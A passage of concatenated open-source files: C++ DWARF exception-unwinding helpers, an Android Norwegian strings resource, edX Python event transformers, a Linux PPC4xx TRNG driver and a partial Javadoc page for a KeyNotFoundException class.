// If the most significant bit read is 1, then we need to sign extend it
if ((uleb >> (bits-1)) == 1)
{
// Sign extend by setting all bits in front of it to 1
uleb |= static_cast<int64_t>(-1) << bits;
}
return static_cast<int64_t>(uleb);
}
/**
* Reads a value using the specified encoding from the address pointed to by
* *data. Updates the value of *data to point to the next byte after the end
* of the data.
*/
static uint64_t read_value(char encoding, dw_eh_ptr_t *data)
{
enum dwarf_data_encoding type = get_encoding(encoding);
switch (type)
{
// Read fixed-length types
#define READ(dwarf, type) \
case dwarf:\
{\
type t;\
memcpy(&t, *data, sizeof t);\
*data += sizeof t;\
return static_cast<uint64_t>(t);\
}
READ(DW_EH_PE_udata2, uint16_t)
READ(DW_EH_PE_udata4, uint32_t)
READ(DW_EH_PE_udata8, uint64_t)
READ(DW_EH_PE_sdata2, int16_t)
READ(DW_EH_PE_sdata4, int32_t)
READ(DW_EH_PE_sdata8, int64_t)
READ(DW_EH_PE_absptr, intptr_t)
#undef READ
// Read variable-length types
case DW_EH_PE_sleb128:
return read_sleb128(data);
case DW_EH_PE_uleb128:
return read_uleb128(data);
default: abort();
}
}
/**
* Resolves an indirect value. This expects an unwind context, an encoding, a
* decoded value, and the start of the region as arguments. The returned value
* is a pointer to the address identified by the encoded value.
*
* If the encoding does not specify an indirect value, then this returns v.
*/
static uint64_t resolve_indirect_value(_Unwind_Context *c,
unsigned char encoding,
int64_t v,
dw_eh_ptr_t start)
{
switch (get_base(encoding))
{
case DW_EH_PE_pcrel:
v += reinterpret_cast<uint64_t>(start);
break;
case DW_EH_PE_textrel:
v += static_cast<uint64_t>(static_cast<uintptr_t>(_Unwind_GetTextRelBase(c)));
break;
case DW_EH_PE_datarel:
v += static_cast<uint64_t>(static_cast<uintptr_t>(_Unwind_GetDataRelBase(c)));
break;
case DW_EH_PE_funcrel:
v += static_cast<uint64_t>(static_cast<uintptr_t>(_Unwind_GetRegionStart(c)));
default:
break;
}
// If this is an indirect value, then it is really the address of the real
// value
// TODO: Check whether this should really always be a pointer - it seems to
// be a GCC extensions, so not properly documented...
if (is_indirect(encoding))
{
v = static_cast<uint64_t>(reinterpret_cast<uintptr_t>(*reinterpret_cast<void**>(v)));
}
return v;
}
/**
* Reads an encoding and a value, updating *data to point to the next byte.
*/
static inline void read_value_with_encoding(_Unwind_Context *context,
dw_eh_ptr_t *data,
uint64_t *out)
{
dw_eh_ptr_t start = *data;
unsigned char encoding = *((*data)++);
// If this value is omitted, skip it and don't touch the output value
if (encoding == DW_EH_PE_omit) { return; }
*out = read_value(encoding, data);
*out = resolve_indirect_value(context, encoding, *out, start);
}
/**
* Structure storing a decoded language-specific data area. Use parse_lsda()
* to generate an instance of this structure from the address returned by the
* generic unwind library.
*
* You should not need to inspect the fields of this structure directly if you
* are just using this header. The structure stores the locations of the
* various tables used for unwinding exceptions and is used by the functions
* for reading values from these tables.
*/
struct dwarf_eh_lsda
{
/// The start of the region. This is a cache of the value returned by
/// _Unwind_GetRegionStart().
dw_eh_ptr_t region_start;
/// The start of the landing pads table.
dw_eh_ptr_t landing_pads;
/// The start of the type table.
dw_eh_ptr_t type_table;
/// The encoding used for entries in the type tables.
unsigned char type_table_encoding;
/// The location of the call-site table.
dw_eh_ptr_t call_site_table;
/// The location of the action table.
dw_eh_ptr_t action_table;
/// The encoding used for entries in the call-site table.
unsigned char callsite_encoding;
};
/**
* Parse the header on the language-specific data area and return a structure
* containing the addresses and encodings of the various tables.
*/
static inline struct dwarf_eh_lsda parse_lsda(_Unwind_Context *context,
unsigned char *data)
{
struct dwarf_eh_lsda lsda;
lsda.region_start = reinterpret_cast<dw_eh_ptr_t>(_Unwind_GetRegionStart(context));
// If the landing pads are relative to anything other than the start of
// this region, find out where. This is @LPStart in the spec, although the
// encoding that GCC uses does not quite match the spec.
uint64_t v = static_cast<uint64_t>(reinterpret_cast<uintptr_t>(lsda.region_start));
read_value_with_encoding(context, &data, &v);
lsda.landing_pads = reinterpret_cast<dw_eh_ptr_t>(static_cast<uintptr_t>(v));
// If there is a type table, find out where it is. This is @TTBase in the
// spec. Note: we find whether there is a type table pointer by checking
// whether the leading byte is DW_EH_PE_omit (0xff), which is not what the
// spec says, but does seem to be how G++ indicates this.
lsda.type_table = 0;
lsda.type_table_encoding = *data++;
if (lsda.type_table_encoding != DW_EH_PE_omit)
{
v = read_uleb128(&data);
dw_eh_ptr_t type_table = data;
type_table += v;
lsda.type_table = type_table;
//lsda.type_table = (uintptr_t*)(data + v);
}
#if defined(__arm__) && !defined(__ARM_DWARF_EH__)
lsda.type_table_encoding = (DW_EH_PE_pcrel | DW_EH_PE_indirect);
#endif
lsda.callsite_encoding = static_cast<enum dwarf_data_encoding>(*(data++));
// Action table is immediately after the call site table
lsda.action_table = data;
uintptr_t callsite_size = static_cast<uintptr_t>(read_uleb128(&data));
lsda.action_table = data + callsite_size;
// Call site table is immediately after the header
lsda.call_site_table = static_cast<dw_eh_ptr_t>(data);
return lsda;
}
/**
* Structure representing an action to be performed while unwinding. This
* contains the address that should be unwound to and the action record that
* provoked this action.
*/
struct dwarf_eh_action
{
/**
* The address that this action directs should be the new program counter
* value after unwinding.
*/
dw_eh_ptr_t landing_pad;
/// The address of the action record.
dw_eh_ptr_t action_record;
};
/**
* Look up the landing pad that corresponds to the current invoke.
* Returns true if record exists. The context is provided by the generic
* unwind library and the lsda should be the result of a call to parse_lsda().
*
* The action record is returned via the result parameter.
*/
static bool dwarf_eh_find_callsite(struct _Unwind_Context *context,
struct dwarf_eh_lsda *lsda,
struct dwarf_eh_action *result)
{
result->action_record = 0;
result->landing_pad = 0;
// The current instruction pointer offset within the region
uint64_t ip = _Unwind_GetIP(context) - _Unwind_GetRegionStart(context);
unsigned char *callsite_table = static_cast<unsigned char*>(lsda->call_site_table);
while (callsite_table <= lsda->action_table)
{
// Once again, the layout deviates from the spec.
uint64_t call_site_start, call_site_size, landing_pad, action;
call_site_start = read_value(lsda->callsite_encoding, &callsite_table);
call_site_size = read_value(lsda->callsite_encoding, &callsite_table);
// Call site entries are sorted, so if we find a call site that's after
// the current instruction pointer then there is no action associated
// with this call and we should unwind straight through this frame
// without doing anything.
if (call_site_start > ip) { break; }
// Read the address of the landing pad and the action from the call
// site table.
landing_pad = read_value(lsda->callsite_encoding, &callsite_table);
action = read_uleb128(&callsite_table);
// We should not include the call_site_start (beginning of the region)
// address in the ip range. For each call site:
//
// address1: call proc
// address2: next instruction
//
// The call stack contains address2 and not address1, address1 can be
// at the end of another EH region.
if (call_site_start < ip && ip <= call_site_start + call_site_size)
{
if (action)
{
// Action records are 1-biased so both no-record and zeroth
// record can be stored.
result->action_record = lsda->action_table + action - 1;
}
// No landing pad means keep unwinding.
if (landing_pad)
{
// Landing pad is the offset from the value in the header
result->landing_pad = lsda->landing_pads + landing_pad;
}
return true;
}
}
return false;
}
/// Defines an exception class from 8 bytes (endian independent)
#define EXCEPTION_CLASS(a,b,c,d,e,f,g,h) \
((static_cast<uint64_t>(a) << 56) +\
(static_cast<uint64_t>(b) << 48) +\
(static_cast<uint64_t>(c) << 40) +\
(static_cast<uint64_t>(d) << 32) +\
(static_cast<uint64_t>(e) << 24) +\
(static_cast<uint64_t>(f) << 16) +\
(static_cast<uint64_t>(g) << 8) +\
(static_cast<uint64_t>(h)))
#define GENERIC_EXCEPTION_CLASS(e,f,g,h) \
(static_cast<uint32_t>(e) << 24) +\
(static_cast<uint32_t>(f) << 16) +\
(static_cast<uint32_t>(g) << 8) +\
(static_cast<uint32_t>(h))
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<resources>
<!-- From: file:/usr/local/google/buildbot/repo_clients/https___googleplex-android.googlesource.com_a_platform_manifest.git/mnc-sdk-release/frameworks/support/v7/appcompat/res/values-nb/strings.xml -->
<eat-comment/>
<string msgid="4600421777120114993" name="abc_action_bar_home_description">"Gå til startsiden"</string>
<string msgid="1397052879051804371" name="abc_action_bar_home_description_format">"%1$s – %2$s"</string>
<string msgid="6623331958280229229" name="abc_action_bar_home_subtitle_description_format">"%1$s – %2$s – %3$s"</string>
<string msgid="1594238315039666878" name="abc_action_bar_up_description">"Gå opp"</string>
<string msgid="3588849162933574182" name="abc_action_menu_overflow_description">"Flere alternativer"</string>
<string msgid="4076576682505996667" name="abc_action_mode_done">"Ferdig"</string>
<string msgid="7468859129482906941" name="abc_activity_chooser_view_see_all">"Se alle"</string>
<string msgid="2031811694353399454" name="abc_activitychooserview_choose_application">"Velg en app"</string>
<string msgid="7723749260725869598" name="abc_search_hint">"Søk …"</string>
<string msgid="3691816814315814921" name="abc_searchview_description_clear">"Slett søket"</string>
<string msgid="2550479030709304392" name="abc_searchview_description_query">"Søkeord"</string>
<string msgid="8264924765203268293" name="abc_searchview_description_search">"Søk"</string>
<string msgid="8928215447528550784" name="abc_searchview_description_submit">"Utfør søket"</string>
<string msgid="893419373245838918" name="abc_searchview_description_voice">"Talesøk"</string>
<string msgid="3421042268587513524" name="abc_shareactionprovider_share_with">"Del med"</string>
<string msgid="7165123711973476752" name="abc_shareactionprovider_share_with_application">"Del med %s"</string>
<string msgid="1603543279005712093" name="abc_toolbar_collapse_description">"Skjul"</string>
<string msgid="2869576371154716097" name="status_bar_notification_info_overflow">"999+"</string>
</resources> | {
"pile_set_name": "Github"
} |
"""
EventTransformers are data structures that represents events, and modify those
events to match the format desired for the tracking logs. They are registered
by name (or name prefix) in the EventTransformerRegistry, which is used to
apply them to the appropriate events.
"""
import json
import logging
import six
from opaque_keys import InvalidKeyError
from opaque_keys.edx.keys import UsageKey
log = logging.getLogger(__name__)
class DottedPathMapping(object):
"""
Dictionary-like object for creating keys of dotted paths.
If a key is created that ends with a dot, it will be treated as a path
prefix. Any value whose prefix matches the dotted path can be used
as a key for that value, but only the most specific match will
be used.
"""
# TODO: The current implementation of the prefix registry requires
# O(number of prefix event transformers) to access an event. If we get a
# large number of EventTransformers, it may be worth writing a tree-based
# map structure where each node is a segment of the match key, which would
# reduce access time to O(len(match.key.split('.'))), or essentially constant
# time.
def __init__(self, registry=None):
self._match_registry = {}
self._prefix_registry = {}
self.update(registry or {})
def __contains__(self, key):
try:
_ = self[key]
return True
except KeyError:
return False
def __getitem__(self, key):
if key in self._match_registry:
return self._match_registry[key]
if isinstance(key, six.string_types):
# Reverse-sort the keys to find the longest matching prefix.
for prefix in sorted(self._prefix_registry, reverse=True):
if key.startswith(prefix):
return self._prefix_registry[prefix]
raise KeyError('Key {} not found in {}'.format(key, type(self)))
def __setitem__(self, key, value):
if key.endswith('.'):
self._prefix_registry[key] = value
else:
self._match_registry[key] = value
def __delitem__(self, key):
if key.endswith('.'):
del self._prefix_registry[key]
else:
del self._match_registry[key]
def get(self, key, default=None):
"""
Return `self[key]` if it exists, otherwise, return `None` or `default`
if it is specified.
"""
try:
self[key]
except KeyError:
return default
def update(self, dict_):
"""
Update the mapping with the values in the supplied `dict`.
"""
for key, value in dict_:
self[key] = value
def keys(self):
"""
Return the keys of the mapping, including both exact matches and
prefix matches.
"""
return list(self._match_registry.keys()) + list(self._prefix_registry.keys())
class EventTransformerRegistry(object):
"""
Registry to track which EventTransformers handle which events. The
EventTransformer must define a `match_key` attribute which contains the
name or prefix of the event names it tracks. Any `match_key` that ends
with a `.` will match all events that share its prefix. A transformer name
without a trailing dot only processes exact matches.
"""
mapping = DottedPathMapping()
@classmethod
def register(cls, transformer):
"""
Decorator to register an EventTransformer. It must have a `match_key`
class attribute defined.
"""
cls.mapping[transformer.match_key] = transformer
return transformer
@classmethod
def create_transformer(cls, event):
"""
Create an EventTransformer of the given event.
If no transformer is registered to handle the event, this raises a
KeyError.
"""
name = event.get(u'name')
return cls.mapping[name](event)
class EventTransformer(dict):
"""
Creates a transformer to modify analytics events based on event type.
To use the transformer, instantiate it using the
`EventTransformer.create_transformer()` classmethod with the event
dictionary as the sole argument, and then call `transformer.transform()` on
the created object to modify the event to the format required for output.
Custom transformers will want to define some or all of the following values
Attributes:
match_key:
This is the name of the event you want to transform. If the name
ends with a `'.'`, it will be treated as a *prefix transformer*.
All other names denote *exact transformers*.
A *prefix transformer* will handle any event whose name begins with
the name of the prefix transformer. Only the most specific match
will be used, so if a transformer exists with a name of
`'edx.ui.lms.'` and another transformer has the name
`'edx.ui.lms.sequence.'` then an event called
`'edx.ui.lms.sequence.tab_selected'` will be handled by the
`'edx.ui.lms.sequence.'` transformer.
An *exact transformer* will only handle events whose name matches
name of the transformer exactly.
Exact transformers always take precedence over prefix transformers.
Transformers without a name will not be added to the registry, and
cannot be accessed via the `EventTransformer.create_transformer()`
classmethod.
is_legacy_event:
If an event is a legacy event, it needs to set event_type to the
legacy name for the event, and may need to set certain event fields
to maintain backward compatiblity. If an event needs to provide
legacy support in some contexts, `is_legacy_event` can be defined
as a property to add dynamic behavior.
Default: False
legacy_event_type:
If the event is or can be a legacy event, it should define
the legacy value for the event_type field here.
Processing methods. Override these to provide the behavior needed for your
particular EventTransformer:
self.process_legacy_fields():
This method should modify the event payload in any way necessary to
support legacy event types. It will only be run if
`is_legacy_event` returns a True value.
self.process_event()
This method modifies the event payload unconditionally. It will
always be run.
"""
def __init__(self, *args, **kwargs):
super(EventTransformer, self).__init__(*args, **kwargs)
self.load_payload()
# Properties to be overridden
is_legacy_event = False
@property
def legacy_event_type(self):
"""
Override this as an attribute or property to provide the value for
the event's `event_type`, if it does not match the event's `name`.
"""
raise NotImplementedError
# Convenience properties
@property
def name(self):
"""
Returns the event's name.
"""
return self[u'name']
@property
def context(self):
"""
Returns the event's context dict.
"""
return self.get(u'context', {})
# Transform methods
def load_payload(self):
"""
Create a data version of self[u'event'] at self.event
"""
if u'event' in self:
if isinstance(self[u'event'], six.string_types):
self.event = json.loads(self[u'event'])
else:
self.event = self[u'event']
def dump_payload(self):
"""
Write self.event back to self[u'event'].
Keep the same format we were originally given.
"""
if isinstance(self.get(u'event'), six.string_types):
self[u'event'] = json.dumps(self.event)
else:
self[u'event'] = self.event
def transform(self):
"""
Transform the event with legacy fields and other necessary
modifications.
"""
if self.is_legacy_event:
self._set_legacy_event_type()
self.process_legacy_fields()
self.process_event()
self.dump_payload()
def _set_legacy_event_type(self):
"""
Update the event's `event_type` to the value specified by
`self.legacy_event_type`.
"""
self['event_type'] = self.legacy_event_type
def process_legacy_fields(self):
"""
Override this method to specify how to update event fields to maintain
compatibility with legacy events.
"""
pass
def process_event(self):
"""
Override this method to make unconditional modifications to event
fields.
"""
pass
@EventTransformerRegistry.register
class SequenceTabSelectedEventTransformer(EventTransformer):
"""
Transformer to maintain backward compatiblity with seq_goto events.
"""
match_key = u'edx.ui.lms.sequence.tab_selected'
is_legacy_event = True
legacy_event_type = u'seq_goto'
def process_legacy_fields(self):
self.event[u'old'] = self.event[u'current_tab']
self.event[u'new'] = self.event[u'target_tab']
class _BaseLinearSequenceEventTransformer(EventTransformer):
"""
Common functionality for transforming
`edx.ui.lms.sequence.{next,previous}_selected` events.
"""
offset = None
@property
def is_legacy_event(self):
"""
Linear sequence events are legacy events if the origin and target lie
within the same sequence.
"""
return not self.crosses_boundary()
def process_legacy_fields(self):
"""
Set legacy payload fields:
old: equal to the new current_tab field
new: the tab to which the user is navigating
"""
self.event[u'old'] = self.event[u'current_tab']
self.event[u'new'] = self.event[u'current_tab'] + self.offset
def crosses_boundary(self):
"""
Returns true if the navigation takes the focus out of the current
sequence.
"""
raise NotImplementedError
@EventTransformerRegistry.register
class NextSelectedEventTransformer(_BaseLinearSequenceEventTransformer):
"""
Transformer to maintain backward compatiblity with seq_next events.
"""
match_key = u'edx.ui.lms.sequence.next_selected'
offset = 1
legacy_event_type = u'seq_next'
def crosses_boundary(self):
"""
Returns true if the navigation moves the focus to the next sequence.
"""
return self.event[u'current_tab'] == self.event[u'tab_count']
@EventTransformerRegistry.register
class PreviousSelectedEventTransformer(_BaseLinearSequenceEventTransformer):
"""
Transformer to maintain backward compatiblity with seq_prev events.
"""
match_key = u'edx.ui.lms.sequence.previous_selected'
offset = -1
legacy_event_type = u'seq_prev'
def crosses_boundary(self):
"""
Returns true if the navigation moves the focus to the previous
sequence.
"""
return self.event[u'current_tab'] == 1
@EventTransformerRegistry.register
class VideoEventTransformer(EventTransformer):
"""
Converts new format video events into the legacy video event format.
Mobile devices cannot actually emit events that exactly match their
counterparts emitted by the LMS javascript video player. Instead of
attempting to get them to do that, we instead insert a transformer here
that converts the events they *can* easily emit and converts them into the
legacy format.
"""
match_key = u'edx.video.'
name_to_event_type_map = {
u'edx.video.played': u'play_video',
u'edx.video.paused': u'pause_video',
u'edx.video.stopped': u'stop_video',
u'edx.video.loaded': u'load_video',
u'edx.video.position.changed': u'seek_video',
u'edx.video.seeked': u'seek_video',
u'edx.video.transcript.shown': u'show_transcript',
u'edx.video.transcript.hidden': u'hide_transcript',
u'edx.video.language_menu.shown': u'video_show_cc_menu',
u'edx.video.language_menu.hidden': u'video_hide_cc_menu',
}
is_legacy_event = True
@property
def legacy_event_type(self):
"""
Return the legacy event_type of the current event
"""
return self.name_to_event_type_map[self.name]
def transform(self):
"""
Transform the event with necessary modifications if it is one of the
expected types of events.
"""
if self.name in self.name_to_event_type_map:
super(VideoEventTransformer, self).transform()
def process_event(self):
"""
Modify event fields.
"""
# Convert edx.video.seeked to edx.video.position.changed because edx.video.seeked was not intended to actually
# ever be emitted.
if self.name == "edx.video.seeked":
self['name'] = "edx.video.position.changed"
if not self.event:
return
self.set_id_to_usage_key()
self.capcase_current_time()
self.convert_seek_type()
self.disambiguate_skip_and_seek()
self.set_page_to_browser_url()
self.handle_ios_seek_bug()
def set_id_to_usage_key(self):
"""
Validate that the module_id is a valid usage key, and set the id field
accordingly.
"""
if 'module_id' in self.event:
module_id = self.event['module_id']
try:
usage_key = UsageKey.from_string(module_id)
except InvalidKeyError:
log.warning('Unable to parse module_id "%s"', module_id, exc_info=True)
else:
self.event['id'] = usage_key.html_id()
del self.event['module_id']
def capcase_current_time(self):
"""
Convert the current_time field to currentTime.
"""
if 'current_time' in self.event:
self.event['currentTime'] = self.event.pop('current_time')
def convert_seek_type(self):
"""
Converts seek_type to seek and converts skip|slide to
onSlideSeek|onSkipSeek.
"""
if 'seek_type' in self.event:
seek_type = self.event['seek_type']
if seek_type == 'slide':
self.event['type'] = "onSlideSeek"
elif seek_type == 'skip':
self.event['type'] = "onSkipSeek"
del self.event['seek_type']
def disambiguate_skip_and_seek(self):
"""
For the Android build that isn't distinguishing between skip/seek.
"""
if 'requested_skip_interval' in self.event:
if abs(self.event['requested_skip_interval']) != 30:
if 'type' in self.event:
self.event['type'] = 'onSlideSeek'
def set_page_to_browser_url(self):
"""
If `open_in_browser_url` is specified, set the page to the base of the
specified url.
"""
if 'open_in_browser_url' in self.context:
self['page'] = self.context.pop('open_in_browser_url').rpartition('/')[0]
def handle_ios_seek_bug(self):
"""
Handle seek bug in iOS.
iOS build 1.0.02 has a bug where it returns a +30 second skip when
it should be returning -30.
"""
if self._build_requests_plus_30_for_minus_30():
if self._user_requested_plus_30_skip():
self.event[u'requested_skip_interval'] = -30
def _build_requests_plus_30_for_minus_30(self):
"""
Returns True if this build contains the seek bug
"""
if u'application' in self.context:
if all(key in self.context[u'application'] for key in (u'version', u'name')):
app_version = self.context[u'application'][u'version']
app_name = self.context[u'application'][u'name']
return app_version == u'1.0.02' and app_name == u'edx.mobileapp.iOS'
return False
def _user_requested_plus_30_skip(self):
"""
If the user requested a +30 second skip, return True.
"""
if u'requested_skip_interval' in self.event and u'type' in self.event:
interval = self.event[u'requested_skip_interval']
action = self.event[u'type']
return interval == 30 and action == u'onSkipSeek'
else:
return False
| {
"pile_set_name": "Github"
} |
// SPDX-License-Identifier: GPL-2.0-only
/*
* Generic PowerPC 44x RNG driver
*
* Copyright 2011 IBM Corporation
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/interrupt.h>
#include <linux/platform_device.h>
#include <linux/hw_random.h>
#include <linux/delay.h>
#include <linux/of_address.h>
#include <linux/of_platform.h>
#include <linux/io.h>
#include "crypto4xx_core.h"
#include "crypto4xx_trng.h"
#include "crypto4xx_reg_def.h"
#define PPC4XX_TRNG_CTRL 0x0008
#define PPC4XX_TRNG_CTRL_DALM 0x20
#define PPC4XX_TRNG_STAT 0x0004
#define PPC4XX_TRNG_STAT_B 0x1
#define PPC4XX_TRNG_DATA 0x0000
static int ppc4xx_trng_data_present(struct hwrng *rng, int wait)
{
struct crypto4xx_device *dev = (void *)rng->priv;
int busy, i, present = 0;
for (i = 0; i < 20; i++) {
busy = (in_le32(dev->trng_base + PPC4XX_TRNG_STAT) &
PPC4XX_TRNG_STAT_B);
if (!busy || !wait) {
present = 1;
break;
}
udelay(10);
}
return present;
}
static int ppc4xx_trng_data_read(struct hwrng *rng, u32 *data)
{
struct crypto4xx_device *dev = (void *)rng->priv;
*data = in_le32(dev->trng_base + PPC4XX_TRNG_DATA);
return 4;
}
static void ppc4xx_trng_enable(struct crypto4xx_device *dev, bool enable)
{
u32 device_ctrl;
device_ctrl = readl(dev->ce_base + CRYPTO4XX_DEVICE_CTRL);
if (enable)
device_ctrl |= PPC4XX_TRNG_EN;
else
device_ctrl &= ~PPC4XX_TRNG_EN;
writel(device_ctrl, dev->ce_base + CRYPTO4XX_DEVICE_CTRL);
}
static const struct of_device_id ppc4xx_trng_match[] = {
{ .compatible = "ppc4xx-rng", },
{ .compatible = "amcc,ppc460ex-rng", },
{ .compatible = "amcc,ppc440epx-rng", },
{},
};
void ppc4xx_trng_probe(struct crypto4xx_core_device *core_dev)
{
struct crypto4xx_device *dev = core_dev->dev;
struct device_node *trng = NULL;
struct hwrng *rng = NULL;
int err;
/* Find the TRNG device node and map it */
trng = of_find_matching_node(NULL, ppc4xx_trng_match);
if (!trng || !of_device_is_available(trng)) {
of_node_put(trng);
return;
}
dev->trng_base = of_iomap(trng, 0);
of_node_put(trng);
if (!dev->trng_base)
goto err_out;
rng = kzalloc(sizeof(*rng), GFP_KERNEL);
if (!rng)
goto err_out;
rng->name = KBUILD_MODNAME;
rng->data_present = ppc4xx_trng_data_present;
rng->data_read = ppc4xx_trng_data_read;
rng->priv = (unsigned long) dev;
core_dev->trng = rng;
ppc4xx_trng_enable(dev, true);
out_le32(dev->trng_base + PPC4XX_TRNG_CTRL, PPC4XX_TRNG_CTRL_DALM);
err = devm_hwrng_register(core_dev->device, core_dev->trng);
if (err) {
ppc4xx_trng_enable(dev, false);
dev_err(core_dev->device, "failed to register hwrng (%d).\n",
err);
goto err_out;
}
return;
err_out:
of_node_put(trng);
iounmap(dev->trng_base);
kfree(rng);
dev->trng_base = NULL;
core_dev->trng = NULL;
}
void ppc4xx_trng_remove(struct crypto4xx_core_device *core_dev)
{
if (core_dev && core_dev->trng) {
struct crypto4xx_device *dev = core_dev->dev;
devm_hwrng_unregister(core_dev->device, core_dev->trng);
ppc4xx_trng_enable(dev, false);
iounmap(dev->trng_base);
kfree(core_dev->trng);
}
}
MODULE_ALIAS("ppc4xx_rng");
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="en">
<head>
<!-- Generated by javadoc (version 1.7.0_10) on Sun Jun 02 21:40:19 BST 2013 -->
<title>KeyNotFoundException</title>
<meta name="date" content="2013-06-02">
<link rel="stylesheet" type="text/css" href="../../../stylesheet.css" title="Style">
</head>
<body>
<script type="text/javascript"><!--
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="KeyNotFoundException";
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar_top">
<!-- -->
</a><a href="#skip-navbar_top" title="Skip navigation links"></a><a name="navbar_top_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/KeyNotFoundException.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../index-files/index-1.html">Index</a></li>
<li><a href="../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../propel/core/collections/IValueStore.html" title="interface in propel.core.collections"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../propel/core/collections/KeyValuePair.html" title="class in propel.core.collections"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../index.html?propel/core/collections/KeyNotFoundException.html" target="_top">Frames</a></li>
<li><a href="KeyNotFoundException.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li><a href="#constructor_summary">Constr</a> | </li>
<li><a href="#methods_inherited_from_class_java.lang.Throwable">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li><a href="#constructor_detail">Constr</a> | </li>
<li>Method</li>
</ul>
</div>
<a name="skip-navbar_top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<!-- ======== START OF CLASS DATA ======== -->
<div class="header">
<div class="subTitle">propel.core.collections</div>
<h2 title="Class KeyNotFoundException" class="title">Class KeyNotFoundException</h2>
</div>
<div class="contentContainer">
<ul class="inheritance">
<li>java.lang.Object</li>
<li>
<ul class="inheritance">
<li>java.lang.Throwable</li>
<li>
<ul class="inheritance">
<li>java.lang.Exception</li>
<li>
<ul class="inheritance">
<li>java.lang.RuntimeException</li>
<li>
<ul class="inheritance">
<li>propel.core.collections.KeyNotFoundException</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<div class="description">
<ul class="blockList">
<li class="blockList">
<dl>
<dt>All Implemented Interfaces:</dt>
<dd>java.io.Serializable</dd>
</dl>
<hr>
<br>
<pre>public final class <span class="strong">KeyNotFoundException</span>
extends java.lang.RuntimeException</pre>
<div class="block">The exception that is thrown when the key specified for accessing an element in a collection does not match any key in the collection.</div>
<dl><dt><span class="strong">See Also:</span></dt><dd><a href="../../../serialized-form.html#propel.core.collections.KeyNotFoundException">Serialized Form</a></dd></dl>
</li>
</ul>
</div>
<div class="summary">
<ul class="blockList">
<li class="blockList">
<!-- ======== CONSTRUCTOR SUMMARY ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_summary">
<!-- -->
</a>
<h3>Constructor Summary</h3>
<table class="overviewSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation">
<caption><span>Constructors</span><span class="tabEnd"> </span></caption>
<tr>
<th class="colOne" scope="col">Constructor and Description</th>
</tr>
<tr class="altColor">
<td class="colOne"><code><strong><a href="../../../propel/core/collections/KeyNotFoundException.html#KeyNotFoundException()">KeyNotFoundException</a></strong>()</code>
<div class="block">Default constructor</div>
</td>
</tr>
<tr class="rowColor">
<td class="colOne"><code><strong><a href="../../../propel/core/collections/KeyNotFoundException.html#KeyNotFoundException(java.lang.String)">KeyNotFoundException</a></strong>(java.lang.String msg)</code>
<div class="block">Overloaded constructor</div>
</td>
</tr>
<tr class="altColor">
<td class="colOne"><code><strong><a href="../../../propel/core/collections/KeyNotFoundException.html#KeyNotFoundException(java.lang.String, java.lang.Throwable)">KeyNotFoundException</a></strong>(java.lang.String msg,
java.lang.Throwable cause)</code>
<div class="block">Overloaded constructor</div>
</td>
</tr>
</table>
</li>
</ul>
<!-- ========== METHOD SUMMARY =========== -->
<ul class="blockList">
<li class="blockList"><a name="method_summary">
<!-- -->
</a>
<h3>Method Summary</h3>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_java.lang.Throwable">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Throwable</h3>
<code>addSuppressed, fillInStackTrace, getCause, getLocalizedMessage, getMessage, getStackTrace, getSuppressed, initCause, printStackTrace, printStackTrace, printStackTrace, setStackTrace, toString</code></li>
</ul>
<ul class="blockList">
<li class="blockList"><a name="methods_inherited_from_class_java.lang.Object">
<!-- -->
</a>
<h3>Methods inherited from class java.lang.Object</h3>
<code>equals, getClass, hashCode, notify, notifyAll, wait, wait, wait</code></li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ========= CONSTRUCTOR DETAIL ======== -->
<ul class="blockList">
<li class="blockList"><a name="constructor_detail">
<!-- -->
</a>
<h3>Constructor Detail</h3>
<a name="KeyNotFoundException()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>KeyNotFoundException</h4>
<pre>public KeyNotFoundException()</pre>
<div class="block">Default constructor</div>
</li>
</ul>
<a name="KeyNotFoundException(java.lang.String)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>KeyNotFoundException</h4>
<pre>public KeyNotFoundException(java.lang.String msg)</pre>
<div class="block">Overloaded constructor</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>msg</code> - The message</dd></dl>
</li>
</ul>
<a name="KeyNotFoundException(java.lang.String, java.lang.Throwable)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>KeyNotFoundException</h4>
<pre>public KeyNotFoundException(java.lang.String msg,
java.lang.Throwable cause)</pre>
<div class="block">Overloaded constructor</div>
